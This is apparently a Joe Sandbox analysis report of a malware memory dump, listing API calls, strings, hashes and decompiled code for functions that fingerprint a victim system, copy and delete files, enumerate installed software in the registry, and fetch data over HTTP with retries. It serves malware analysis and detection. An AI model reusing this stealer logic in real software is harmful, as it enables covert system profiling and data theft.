Source File: 00000015.00000002.837379486.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.837419598.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_DDEE.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: Jg$ Kg$ Lg$ Mg$ Og$ wg$(Wg$(xg$(~g$0og$0yg$8Xg$8wg$@Jg$@Kg$@Lg$@Mg$@Og$@Pg$@xg$@~g$CreateThread$GetEnvironmentVariableA$Hvg$Hyg$InternetCrackUrlA$Prg$Pwg$P}g$RegGetValueA$SetEnvironmentVariableA$Xxg$X~g$`Ig$`Jg$`Kg$`Lg$`Pg$`Tg$`vg$`yg$hwg$h}g$lstrcpyA$lstrcpynA$memcpy$memset$pxg$p~g$xrg$xvg$Ig$Jg$Kg$Lg$pg$wg$xg$}g$~g
API String ID: 2238633743-1512689155
Opcode ID: 5c6a11f3020753ac3d423ac2ff1df36a17615fb2ca3194d898380672604674f4
Instruction ID: 9bcd284fde1af5afdb9725a1d8ee7eb933c8521e96d2c529a01ce852b5064599
Opcode Fuzzy Hash: 5c6a11f3020753ac3d423ac2ff1df36a17615fb2ca3194d898380672604674f4
Instruction Fuzzy Hash: 9C820FF9523200EFC345DFA8EE889D637B9BB4C251715CA39E509C3661D73894A1CF2A

Uniqueness

Uniqueness Score: -1.00%

Function 004056E0, Relevance: 129.8, APIs: 64, Strings: 10, Instructions: 315
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(00000000,000F423F,?,?,004067CA,?,?,?,?,?,00000104,?,00001388), ref: 004056EB
RtlAllocateHeap.NTDLL(00000000,?,004067CA), ref: 004056F2
lstrcat.KERNEL32(?,0065EC80), ref: 00405705
lstrcat.KERNEL32(?,0065E518), ref: 00405716
lstrcat.KERNEL32(?,00418BC0), ref: 00405725
lstrcat.KERNEL32(?,0065EC90), ref: 00405736
lstrcat.KERNEL32(?,00418BC4), ref: 00405745
lstrcat.KERNEL32(?,00674E60), ref: 00405756
lstrcat.KERNEL32(?,00418BC0), ref: 00405765
lstrcat.KERNEL32(?,00676050), ref: 00405776
GetCurrentProcessId.KERNEL32(?,004067CA,?,?,?,?,?,00000104,?,00001388), ref: 0040577C

Part of subcall function 0040B950: OpenProcess.KERNEL32(00000410,00000000,004067CA), ref: 0040B964
Part of subcall function 0040B950: K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 0040B985
Part of subcall function 0040B950: CloseHandle.KERNEL32(00000000), ref: 0040B98F

lstrcat.KERNEL32(?,00000000), ref: 00405790
lstrcat.KERNEL32(00418BC0,00418BC0), ref: 0040579F
lstrcat.KERNEL32(Xag,00676158), ref: 004057AF

Part of subcall function 0040ACE0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,?,004057BA,?,?,?,?,00000104,?,00001388), ref: 0040ACED
Part of subcall function 0040ACE0: RtlAllocateHeap.NTDLL(00000000), ref: 0040ACF4
Part of subcall function 0040ACE0: GetLocalTime.KERNEL32(?,?,?,?,?,?,004057BA,?,?,?,?,00000104,?,00001388), ref: 0040AD01
Part of subcall function 0040ACE0: wsprintfA.USER32 ref: 0040AD2E

lstrcat.KERNEL32(00000000,00000000), ref: 004057BF
lstrcat.KERNEL32(00418BC4,00418BC4), ref: 004057CE
lstrcat.KERNEL32(Xag,00676068), ref: 004057DF

Part of subcall function 0040AD40: GetProcessHeap.KERNEL32(00000000,00000104), ref: 0040AD50
Part of subcall function 0040AD40: RtlAllocateHeap.NTDLL(00000000), ref: 0040AD57
Part of subcall function 0040AD40: GetTimeZoneInformation.KERNEL32(?), ref: 0040AD6A

lstrcat.KERNEL32(00000000,00000000), ref: 004057EF
lstrcat.KERNEL32(00418BC0,00418BC0), ref: 004057FE
lstrcat.KERNEL32(00675000,00675000), ref: 0040580F

Part of subcall function 0040ADC0: GetUserDefaultLocaleName.KERNEL32(?,00000055), ref: 0040ADD2

lstrcat.KERNEL32(00000000,00000000), ref: 0040581F
lstrcat.KERNEL32(00418BC4,00418BC4), ref: 0040582E
lstrcat.KERNEL32(00674D80,00674D80), ref: 0040583E

Part of subcall function 0040AE00: GetProcessHeap.KERNEL32(00000000,000001F4), ref: 0040AE10
Part of subcall function 0040AE00: RtlAllocateHeap.NTDLL(00000000), ref: 0040AE17
Part of subcall function 0040AE00: GetKeyboardLayoutList.USER32(00000000,00000000), ref: 0040AE38
Part of subcall function 0040AE00: LocalAlloc.KERNEL32(00000040,?), ref: 0040AE50
Part of subcall function 0040AE00: GetKeyboardLayoutList.USER32(?,00000000), ref: 0040AE64
Part of subcall function 0040AE00: GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 0040AEB9
Part of subcall function 0040AE00: wsprintfA.USER32 ref: 0040AEE2
Part of subcall function 0040AE00: wsprintfA.USER32 ref: 0040AF00
Part of subcall function 0040AE00: memset.NTDLL ref: 0040AF26
Part of subcall function 0040AE00: LocalFree.KERNEL32(00000000), ref: 0040AF3B

lstrcat.KERNEL32(00000000,00000000), ref: 0040584E
lstrcat.KERNEL32(00418BC0,00418BC0), ref: 0040585D
lstrcat.KERNEL32(006761A0,006761A0), ref: 0040586E

Part of subcall function 0040AF50: GetSystemPowerStatus.KERNEL32(?), ref: 0040AF5A

lstrcat.KERNEL32(00000000,00000000), ref: 0040587E
lstrcat.KERNEL32(00418BC4,00418BC4), ref: 0040588D
lstrcat.KERNEL32(00676098,00676098), ref: 0040589E

Part of subcall function 0040AF80: GetProcessHeap.KERNEL32(00000000,00000104), ref: 0040AF94
Part of subcall function 0040AF80: RtlAllocateHeap.NTDLL(00000000), ref: 0040AF9B
Part of subcall function 0040AF80: RegOpenKeyExA.KERNEL32(80000002,006724D0,00000000,00020119,?), ref: 0040AFBB
Part of subcall function 0040AF80: RegQueryValueExA.KERNEL32(?,00678518,00000000,00000000,?,000000FF), ref: 0040AFDC
Part of subcall function 0040AF80: RegCloseKey.ADVAPI32(?), ref: 0040AFE6

lstrcat.KERNEL32(00000000,00000000), ref: 004058AE
lstrcat.KERNEL32(00418BC4,00418BC4), ref: 004058BD
lstrcat.KERNEL32(006761D0,006761D0), ref: 004058CD

Part of subcall function 0040B000: GetProcessHeap.KERNEL32(00000000,00000104), ref: 0040B00D
Part of subcall function 0040B000: RtlAllocateHeap.NTDLL(00000000), ref: 0040B014
Part of subcall function 0040B000: memset.NTDLL ref: 0040B025
Part of subcall function 0040B000: GlobalMemoryStatusEx.KERNEL32(00000040), ref: 0040B036
Part of subcall function 0040B000: __aulldiv.LIBCMT ref: 0040B050
Part of subcall function 0040B000: wsprintfA.USER32 ref: 0040B07C

lstrcat.KERNEL32(00000000,00000000), ref: 004058DD
lstrcat.KERNEL32(00418BC4,00418BC4), ref: 004058EC
lstrcat.KERNEL32(00673110,00673110), ref: 004058FD

Part of subcall function 0040B090: GetProcessHeap.KERNEL32(00000000,00000104), ref: 0040B0A4
Part of subcall function 0040B090: RtlAllocateHeap.NTDLL(00000000), ref: 0040B0AB
Part of subcall function 0040B090: RegOpenKeyExA.KERNEL32(80000002,0067A310,00000000,00020119,?), ref: 0040B0CB
Part of subcall function 0040B090: RegQueryValueExA.KERNEL32(?,00678E80,00000000,00000000,?,000000FF), ref: 0040B0EC
Part of subcall function 0040B090: RegCloseKey.ADVAPI32(?), ref: 0040B0F6

lstrcat.KERNEL32(00000000,00000000), ref: 0040590D
lstrcat.KERNEL32(Xag,00673120), ref: 0040591E

Part of subcall function 0040B110: GetCurrentProcess.KERNEL32(00000000), ref: 0040B11F
Part of subcall function 0040B110: IsWow64Process.KERNEL32(00000000), ref: 0040B126

lstrcat.KERNEL32(00000000,00000000), ref: 0040592E
lstrcat.KERNEL32(Xag,00673130), ref: 0040593F
lstrcat.KERNEL32(00418BC4,00418BC4), ref: 0040594E
lstrcat.KERNEL32(00676110,00676110), ref: 0040595F
lstrcat.KERNEL32(00000000,00000000), ref: 0040596F
lstrcat.KERNEL32(00418BC4,00418BC4), ref: 0040597E
lstrcat.KERNEL32(00674FA0,00674FA0), ref: 0040598F

Part of subcall function 0040B180: wsprintfA.USER32 ref: 0040B1DC

lstrcat.KERNEL32(00000000,00000000), ref: 0040599F
lstrcat.KERNEL32(00418BC0,00418BC0), ref: 004059AE
lstrcat.KERNEL32(00676188,00676188), ref: 004059BE

Part of subcall function 0040AC50: GetProcessHeap.KERNEL32(00000000,00000104,?,00406B8D), ref: 0040AC5D
Part of subcall function 0040AC50: RtlAllocateHeap.NTDLL(00000000,?,00406B8D), ref: 0040AC64
Part of subcall function 0040AC50: GetComputerNameA.KERNEL32(00406B8D,00000104), ref: 0040AC7C

lstrcat.KERNEL32(00000000,00000000), ref: 004059CE
lstrcat.KERNEL32(00418BC4,00418BC4), ref: 004059DD
lstrcat.KERNEL32(006760C8,006760C8), ref: 004059EE

Part of subcall function 0040ACA0: GetProcessHeap.KERNEL32(00000000,00000104,00406B14,JohnDoe,?,00406B8D), ref: 0040ACAD
Part of subcall function 0040ACA0: RtlAllocateHeap.NTDLL(00000000,?,00406B8D), ref: 0040ACB4
Part of subcall function 0040ACA0: GetUserNameA.ADVAPI32(?,00000104), ref: 0040ACCC

lstrcat.KERNEL32(00000000,00000000), ref: 004059FE
lstrcat.KERNEL32(00418BC4,00418BC4), ref: 00405A0D
lstrcat.KERNEL32(006761B8,006761B8), ref: 00405A1E
lstrcat.KERNEL32(00000000,00000000), ref: 00405A2E
lstrcat.KERNEL32(00418BC4,00418BC4), ref: 00405A3D
lstrcat.KERNEL32(006760B0,006760B0), ref: 00405A4D

Part of subcall function 0040B240: GetProcessHeap.KERNEL32(00000000,00000104), ref: 0040B254
Part of subcall function 0040B240: RtlAllocateHeap.NTDLL(00000000), ref: 0040B25B
Part of subcall function 0040B240: RegOpenKeyExA.KERNEL32(80000002,006772F0,00000000,00020119,?), ref: 0040B27B
Part of subcall function 0040B240: RegQueryValueExA.KERNEL32(?,00678EE0,00000000,00000000,?,000000FF), ref: 0040B29C
Part of subcall function 0040B240: RegCloseKey.ADVAPI32(?), ref: 0040B2A6

lstrcat.KERNEL32(00000000,00000000), ref: 00405A5D
lstrcat.KERNEL32(00418BC4,00418BC4), ref: 00405A6C
lstrcat.KERNEL32(Xag,00673140), ref: 00405A7D

Part of subcall function 0040B2C0: GetCurrentHwProfileA.ADVAPI32(?), ref: 0040B2CD
Part of subcall function 0040B2C0: GetProcessHeap.KERNEL32(00000000,00000064), ref: 0040B2DB
Part of subcall function 0040B2C0: RtlAllocateHeap.NTDLL(00000000), ref: 0040B2E2
Part of subcall function 0040B2C0: memset.NTDLL ref: 0040B2F9
Part of subcall function 0040B2C0: lstrcat.KERNEL32(?,?), ref: 0040B30A

lstrcat.KERNEL32(00000000,00000000), ref: 00405A8D
lstrcat.KERNEL32(00418BC0,00418BC0), ref: 00405A9C
lstrcat.KERNEL32(Xag,00674EE0), ref: 00405AAD
lstrcat.KERNEL32(00418BC4,00418BC4), ref: 00405ABC

Part of subcall function 0040B330: RegOpenKeyExA.KERNEL32(80000002,00675888,00000000,00020019,00000000), ref: 0040B382

lstrlen.KERNEL32(?,?,?,?,?,?,?,00000104,?,00001388), ref: 00405AD2

Strings

h`g, xrefs: 004057D4
@1g, xrefs: 00405A72
`Ng, xrefs: 0040574B
1g, xrefs: 00405913
Ng, xrefs: 00405AA2
P`g, xrefs: 0040576B
ag, xrefs: 00405ADD
Xag, xrefs: 004057A5
Xag, xrefs: 004057AB, 004057DB, 0040591A, 0040593B, 00405A79, 00405AA9, 004057AE, 004057DE, 0040591D, 0040593E, 00405A7C, 00405AAC
01g, xrefs: 00405934

Memory Dump Source

Source File: 00000015.00000002.837379486.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.837419598.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_DDEE.jbxd

Similarity

API ID: lstrcat$Heap$Process$Allocate$Openwsprintf$CloseName$CurrentLocalQueryValuememset$KeyboardLayoutListLocaleStatusTimeUser$AllocComputerDefaultFileFreeGlobalHandleInfoInformationMemoryModulePowerProfileSystemWow64Zone__aulldivlstrlen
String ID: 1g$01g$@1g$P`g$Xag$Xag$`Ng$h`g$Ng$ag
API String ID: 1685704716-3874329398
Opcode ID: 30f07a2bd6df684eb537ca42ce2af34e1736e8a7775d2fcc70ff25e928b337d0
Instruction ID: 30c1e02cd9c5137cb8aca07fd8d84d5d1b54e9b10edc29ade13e80b98b9e1d91
Opcode Fuzzy Hash: 30f07a2bd6df684eb537ca42ce2af34e1736e8a7775d2fcc70ff25e928b337d0
Instruction Fuzzy Hash: 40C11BBA611504FFCB00DBE4DF89D9E77B9AF4C3457208569B205D3661CB3CAA20DB29

Uniqueness

Uniqueness Score: -1.00%

Function 00407D50, Relevance: 54.5, APIs: 30, Strings: 1, Instructions: 284
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentDirectoryA.KERNEL32(00000104,?), ref: 00407D65
lstrcat.KERNEL32(?,00414018), ref: 00407D77

Part of subcall function 0040B8B0: GetSystemTime.KERNEL32(?,?,00000104), ref: 0040B8D1

lstrcat.KERNEL32(?,00000000), ref: 00407D8F
CopyFileA.KERNEL32(00000000,?,00000001), ref: 00407DA2
wsprintfA.USER32 ref: 00407DCF
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 00407E1F
RtlAllocateHeap.NTDLL(00000000), ref: 00407E26
StrCmpCA.SHLWAPI(?,00418BE0), ref: 00407ED2
lstrcat.KERNEL32(?,00675868), ref: 00407EF9
lstrcat.KERNEL32(?,00675818), ref: 00407F1E
StrCmpCA.SHLWAPI(?,00418BE0), ref: 00407F30
lstrcat.KERNEL32(?,00675868), ref: 00407F58
lstrcat.KERNEL32(?,00675818), ref: 00407F7E

Part of subcall function 00407230: memset.MSVCRT ref: 00407282
Part of subcall function 00407230: LocalAlloc.KERNEL32(00000040,?), ref: 004072D1
Part of subcall function 00407230: lstrcat.KERNEL32(?,00000000), ref: 00407337

lstrcat.KERNEL32(?,00418BE0), ref: 00407FAE
lstrcat.KERNEL32(?,?), ref: 00407FC2
lstrcat.KERNEL32(?,004191EC), ref: 00407FD4
lstrcat.KERNEL32(?,?), ref: 00407FE8
lstrcat.KERNEL32(?,004191EC), ref: 00407FFA
lstrcat.KERNEL32(?,?), ref: 0040800E
lstrcat.KERNEL32(?,004191EC), ref: 00408020
lstrcat.KERNEL32(?,?), ref: 00408034
lstrcat.KERNEL32(?,004191EC), ref: 00408046
lstrcat.KERNEL32(?,?), ref: 0040805A
lstrcat.KERNEL32(?,004191EC), ref: 0040806C
lstrcat.KERNEL32(?,?), ref: 00408080
lstrcat.KERNEL32(?,004191EC), ref: 00408092
lstrcat.KERNEL32(?,00000000), ref: 004080D0
lstrcat.KERNEL32(?,00418BC4), ref: 004080E2
lstrlen.KERNEL32(?), ref: 004080F4
DeleteFileA.KERNEL32(?), ref: 00408144

Strings

hXg, xrefs: 00407EEC, 00407F4A

Memory Dump Source

Source File: 00000015.00000002.837379486.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.837419598.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_DDEE.jbxd

Similarity

API ID: lstrcat$FileHeap$AllocAllocateCopyCurrentDeleteDirectoryLocalProcessSystemTimelstrlenmemsetwsprintf
String ID: hXg
API String ID: 3067815791-405889069
Opcode ID: 39b9bc0cffe939589dbe0d2056154b9b32713bfce1fe5d0958d0e75eee0431b2
Instruction ID: 0472a7c7585205d9353b1484faec9d34f3986521201bc2a8f856e71ef692a447
Opcode Fuzzy Hash: 39b9bc0cffe939589dbe0d2056154b9b32713bfce1fe5d0958d0e75eee0431b2
Instruction Fuzzy Hash: 0CB197B5A41108BBCB10DBA4DD8DFEA77B8AF4C704F008599F205A7181C739EA61CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00407AC0, Relevance: 42.2, APIs: 21, Strings: 3, Instructions: 174
stringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentDirectoryA.KERNEL32(00000104,?,?,004088AE,?,?,00000001,00000000,00000000), ref: 00407AD9
lstrcat.KERNEL32(?,00414018), ref: 00407AEB

Part of subcall function 0040B8B0: GetSystemTime.KERNEL32(?,?,00000104), ref: 0040B8D1

lstrcat.KERNEL32(?,00000000), ref: 00407B03
CopyFileA.KERNEL32(?,?,00000001), ref: 00407B16
DeleteFileA.KERNEL32(?), ref: 00407D3C

Part of subcall function 00407230: memset.MSVCRT ref: 00407282
Part of subcall function 00407230: LocalAlloc.KERNEL32(00000040,?), ref: 004072D1
Part of subcall function 00407230: lstrcat.KERNEL32(?,00000000), ref: 00407337

lstrcat.KERNEL32(?,00000000), ref: 00407BF7
lstrcat.KERNEL32(00000000,00675738), ref: 00407C0B
lstrcat.KERNEL32(00000000,?), ref: 00407C1C
lstrcat.KERNEL32(00000000,00418BC4), ref: 00407C2E
lstrcat.KERNEL32(00000000,00675708), ref: 00407C41
lstrcat.KERNEL32(00000000,?), ref: 00407C51
lstrcat.KERNEL32(00000000,00418BC4), ref: 00407C63
lstrcat.KERNEL32(00000000,006757F8), ref: 00407C76
lstrcat.KERNEL32(00000000,?), ref: 00407C8A
lstrcat.KERNEL32(00000000,00418BC4), ref: 00407C9B
lstrcat.KERNEL32(00000000,006756B8), ref: 00407CAF
lstrcat.KERNEL32(00000000,?), ref: 00407CC3
lstrcat.KERNEL32(00000000,00418BC4), ref: 00407CD5
lstrcat.KERNEL32(00000000,00675848), ref: 00407CE8
lstrcat.KERNEL32(00000000,?), ref: 00407CFB
lstrcat.KERNEL32(00000000,00418BC0), ref: 00407D0D

Strings

HXg, xrefs: 00407CDB
(g, xrefs: 00407B43
8Wg, xrefs: 00407BFD

Memory Dump Source

Source File: 00000015.00000002.837379486.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.837419598.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_DDEE.jbxd

Similarity

API ID: lstrcat$File$AllocCopyCurrentDeleteDirectoryLocalSystemTimememset
String ID: (g$8Wg$HXg
API String ID: 3522136165-2782347855
Opcode ID: f3fd52fb4761c2a2e1c00ae7afb32f507db36117f99e1080e622c3acfdb5aeba
Instruction ID: ab0808fcc5ae4ac9d31269b52e8e6387a8d9148f66a13944e02c84bb448b15ba
Opcode Fuzzy Hash: f3fd52fb4761c2a2e1c00ae7afb32f507db36117f99e1080e622c3acfdb5aeba
Instruction Fuzzy Hash: 6C6152B1A11104AFC710EBA4EE49DEA37F8EF4C305F008569F60593161D778EA61CF6A

Uniqueness

Uniqueness Score: -1.00%

Function 004051A0, Relevance: 33.4, APIs: 16, Strings: 3, Instructions: 172
networksleepfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 69%

			E004051A0(void* __ecx, void* __eflags, intOrPtr _a4, char* _a8, char* _a12, char* _a16) {
				void* _v8;
				DWORD* _v12;
				char _v2012;
				void* _v2016;
				void* _v2020;
				long _v2024;
				void _v2284;
				void _v2288;
				DWORD* _v2292;
				DWORD* _v2296;
				void _v4300;
				int _v4304;
				long _v4308;
				void* _t60;
				void* _t67;
				void* _t71;
				int _t74;
				DWORD* _t104;
				void* _t107;

				_t85 = __ecx;
				E004139B0(0x10d0, __ecx);
				E0040B6E0(_t85,  &_v2012, 0, 0x7d0);
				_t60 = InternetOpenA(0x41401a, 0, 0, 0, 0); // executed
				_v2020 = _t60;
				_v2024 = 0x100;
				_v12 = 0;
				_push("https://");
				_push(_a4);
				if( *0x41aa4c() == 0) {
					_v12 = 1;
				}
				if(_v2020 != 0) {
					_v2288 = 0x927c0;
					InternetSetOptionA(_v2020, 6,  &_v2288, 4);
					if(_v12 == 0) {
						_t67 = InternetConnectA(_v2020, _a8, 0x50, 0, 0, 3, 0, 0); // executed
						_v2016 = _t67;
					} else {
						_v2016 = InternetConnectA(_v2020, _a8, 0x1bb, 0, 0, 3, 0, 0);
					}
					if(_v2016 != 0) {
						if(_v12 == 0) {
							_t71 = HttpOpenRequestA(_v2016, _a16, _a12, 0, 0, 0, 0x400100, 0); // executed
							_v8 = _t71;
						} else {
							_v8 = HttpOpenRequestA(_v2016, _a16, _a12, 0, 0, 0, 0xc00100, 0);
						}
						if(_v8 != 0) {
							_v2292 = 0;
							_v2296 = 0;
							while(_v2296 < 6) {
								HttpSendRequestA(_v8, 0, 0, 0, 0); // executed
								if(HttpQueryInfoA(_v8, 0x13,  &_v2284,  &_v2024, 0) == 0) {
									L17:
									Sleep(0x7530);
									_t104 =  &(_v2296[0]);
									__eflags = _t104;
									_v2296 = _t104;
									continue;
								} else {
									_push("200");
									_push( &_v2284);
									if( *0x41aa4c() != 0) {
										goto L17;
									} else {
										_v2292 = 1;
									}
								}
								break;
							}
							if(_v2292 != 0) {
								while(1) {
									_t74 = InternetReadFile(_v8,  &_v4300, 0x7cf,  &_v4308); // executed
									_v4304 = _t74;
									if(_v4304 == 0) {
										break;
									}
									_t122 = _v4308;
									if(_v4308 != 0) {
										 *((char*)(_t107 + _v4308 - 0x10c8)) = 0;
										 *0x41aa24( &_v2012,  &_v4300);
										continue;
									}
									break;
								}
							}
						}
						InternetCloseHandle(_v8);
					}
					InternetCloseHandle(_v2016);
				}
				InternetCloseHandle(_v2020);
				return E00404830(_v2020, _t122,  &_v2012);
			}

0x004051a0
0x004051a8
0x004051bb
0x004051cd
0x004051d3
0x004051d9
0x004051e3
0x004051ea
0x004051f2
0x004051fb
0x004051fd
0x004051fd
0x0040520b
0x00405211
0x0040522d
0x00405237
0x00405278
0x0040527e
0x00405239
0x00405259
0x00405259
0x0040528b
0x00405295
0x004052da
0x004052e0
0x00405297
0x004052b9
0x004052b9
0x004052e7
0x004052ed
0x004052f7
0x00405312
0x00405327
0x0040534b
0x0040536f
0x00405374
0x00405309
0x00405309
0x0040530c
0x00000000
0x0040534d
0x0040534d
0x00405358
0x00405361
0x00000000
0x00405363
0x00405363
0x00405363
0x00405361
0x00000000
0x0040534b
0x00405383
0x00405385
0x0040539c
0x004053a2
0x004053af
0x00000000
0x00000000
0x004053b1
0x004053b8
0x004053c2
0x004053d8
0x00000000
0x004053d8
0x00000000
0x004053b8
0x004053ba
0x00405383
0x004053e4
0x004053e4
0x004053f1
0x004053f1
0x004053fe
0x00405416

APIs

InternetOpenA.WININET(0041401A,00000000,00000000,00000000,00000000), ref: 004051CD
StrCmpCA.SHLWAPI(00000000,https://), ref: 004051F3
InternetSetOptionA.WININET(00000000,00000006,000927C0,00000004), ref: 0040522D
InternetConnectA.WININET(00000000,006720F0,000001BB,00000000,00000000,00000003,00000000,00000000), ref: 00405253
InternetConnectA.WININET(00000000,006720F0,00000050,00000000,00000000,00000003,00000000,00000000), ref: 00405278
HttpOpenRequestA.WININET(00000000,?,0040672D,00000000,00000000,00000000,00C00100,00000000), ref: 004052B3
HttpOpenRequestA.WININET(00000000,?,0040672D,00000000,00000000,00000000,00400100,00000000), ref: 004052DA
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00405327
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 00405343
StrCmpCA.SHLWAPI(?,200), ref: 00405359
Sleep.KERNEL32(00007530), ref: 00405374
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 0040539C
lstrcat.KERNEL32(?,00000000), ref: 004053D8
InternetCloseHandle.WININET(00000000), ref: 004053E4
InternetCloseHandle.WININET(00000000), ref: 004053F1
InternetCloseHandle.WININET(00000000), ref: 004053FE

Part of subcall function 00404830: memset.MSVCRT ref: 00404852
Part of subcall function 00404830: CryptStringToBinaryA.CRYPT32(00000000,00000000,00000000,006720F0), ref: 0040487E
Part of subcall function 00404830: CryptStringToBinaryA.CRYPT32(00000000,00000000,00000000,00000000,00000000), ref: 004048A6

Strings

https://, xrefs: 004051EA
HbgWg, xrefs: 004053E0, 00405398, 0040533F, 00405323
200, xrefs: 0040534D

Memory Dump Source

Source File: 00000015.00000002.837379486.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.837419598.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_DDEE.jbxd

Similarity

API ID: Internet$Http$CloseHandleOpenRequest$BinaryConnectCryptString$FileInfoOptionQueryReadSendSleeplstrcatmemset
String ID: 200$HbgWg$https://
API String ID: 3903783505-691994022
Opcode ID: ed28bf1071449e7ad06a5ff83b2de2c6207da898ebd1a13e635f1ef9f3c0d26e
Instruction ID: 3a11fd38065f95ba9f916252f7cceca424cf4b116932673e0c024cd65fd50a4c
Opcode Fuzzy Hash: ed28bf1071449e7ad06a5ff83b2de2c6207da898ebd1a13e635f1ef9f3c0d26e
Instruction Fuzzy Hash: F3612B71A45359ABEB24DB60CC49FDA77B4EB08740F1085AAB6097A1C0C7B86A84CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0040B330, Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 129
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 49%

			E0040B330(intOrPtr _a4) {
				int _v8;
				char _v1036;
				char _v2060;
				void* _v2064;
				void* _v2068;
				int* _v2072;
				int _v2076;
				char _v3100;
				int _v3104;
				long _t44;
				long _t48;
				long _t51;
				long _t54;
				long _t60;
				char* _t69;
				char* _t77;
				char* _t84;
				char* _t87;
				void* _t92;

				_v2068 = 0;
				_v2064 = 0;
				_v2072 = 0;
				_v8 = 0xf003f;
				_v2076 = 0;
				_t69 =  *0x41a230; // 0x675888
				_t44 = RegOpenKeyExA(0x80000002, _t69, 0, 0x20019,  &_v2068); // executed
				if(_t44 == 0) {
					_v3104 = 0;
					while(_v2072 == 0) {
						_v2076 = 0x400;
						_t48 = RegEnumKeyExA(_v2068, _v3104,  &_v1036,  &_v2076, 0, 0, 0, 0); // executed
						_v2072 = _t48;
						if(_v2072 != 0) {
							L14:
							_v3104 = _v3104 + 1;
							continue;
						}
						_push( &_v1036);
						_t84 =  *0x41a230; // 0x675888
						_push(_t84);
						wsprintfA( &_v2060, "%s\%s");
						_t92 = _t92 + 0x10;
						_t51 = RegOpenKeyExA(0x80000002,  &_v2060, 0, 0x20019,  &_v2064); // executed
						if(_t51 == 0) {
							_v2076 = 0x400;
							_t87 =  *0x41a71c; // 0x6790a8
							_t54 = RegQueryValueExA(_v2064, _t87, 0,  &_v8,  &_v3100,  &_v2076); // executed
							if(_t54 == 0) {
								_push( &_v3100);
								if( *0x41a908() > 1) {
									 *0x41aa24(_a4,  &_v3100);
									_v2076 = 0x400;
									_t77 =  *0x41a450; // 0x678ec8
									_t60 = RegQueryValueExA(_v2064, _t77, 0,  &_v8,  &_v3100,  &_v2076); // executed
									if(_t60 == 0) {
										 *0x41aa24(_a4, " ");
										 *0x41aa24(_a4,  &_v3100);
									}
									 *0x41aa24(_a4, "\n");
								}
							}
							RegCloseKey(_v2064);
							goto L14;
						}
						RegCloseKey(_v2064);
						return RegCloseKey(_v2068);
					}
					return RegCloseKey(_v2068);
				}
				return _t44;
			}

0x0040b339
0x0040b343
0x0040b34d
0x0040b357
0x0040b35e
0x0040b376
0x0040b382
0x0040b38a
0x0040b391
0x0040b3ac
0x0040b3b9
0x0040b3e7
0x0040b3ed
0x0040b3fa
0x0040b535
0x0040b3a6
0x00000000
0x0040b3a6
0x0040b406
0x0040b407
0x0040b40d
0x0040b41a
0x0040b420
0x0040b43d
0x0040b445
0x0040b466
0x0040b484
0x0040b492
0x0040b49a
0x0040b4a6
0x0040b4b0
0x0040b4bd
0x0040b4c3
0x0040b4e1
0x0040b4ef
0x0040b4f7
0x0040b502
0x0040b513
0x0040b513
0x0040b522
0x0040b522
0x0040b4b0
0x0040b52f
0x00000000
0x0040b52f
0x0040b44e
0x00000000
0x0040b45b
0x00000000
0x0040b541
0x00000000

APIs

RegOpenKeyExA.KERNEL32(80000002,00675888,00000000,00020019,00000000), ref: 0040B382
RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 0040B3E7
wsprintfA.USER32 ref: 0040B41A
RegOpenKeyExA.KERNEL32(80000002,?,00000000,00020019,00000000), ref: 0040B43D
RegCloseKey.ADVAPI32(00000000), ref: 0040B44E
RegCloseKey.ADVAPI32(00000000), ref: 0040B45B

Strings

?, xrefs: 0040B357
%s\%s, xrefs: 0040B40E

Memory Dump Source

Source File: 00000015.00000002.837379486.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.837419598.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_DDEE.jbxd

Similarity

API ID: CloseOpen$Enumwsprintf
String ID: %s\%s$?
API String ID: 2323328657-4134130046
Opcode ID: 633d1f22a7f17ada43fb024a05cd16ca398fc31fbc6fe5000daf135038cd0860
Instruction ID: e40631872db9b85caa783e97e8400b31f68121603665a09a8b222e6f0c3b8f21
Opcode Fuzzy Hash: 633d1f22a7f17ada43fb024a05cd16ca398fc31fbc6fe5000daf135038cd0860
Instruction Fuzzy Hash: A2513CB1911218ABDB10CB50CD48FEA77B8FF48304F00C5A9A249A6180DB789AC5CFD9

Uniqueness

Uniqueness Score: -1.00%

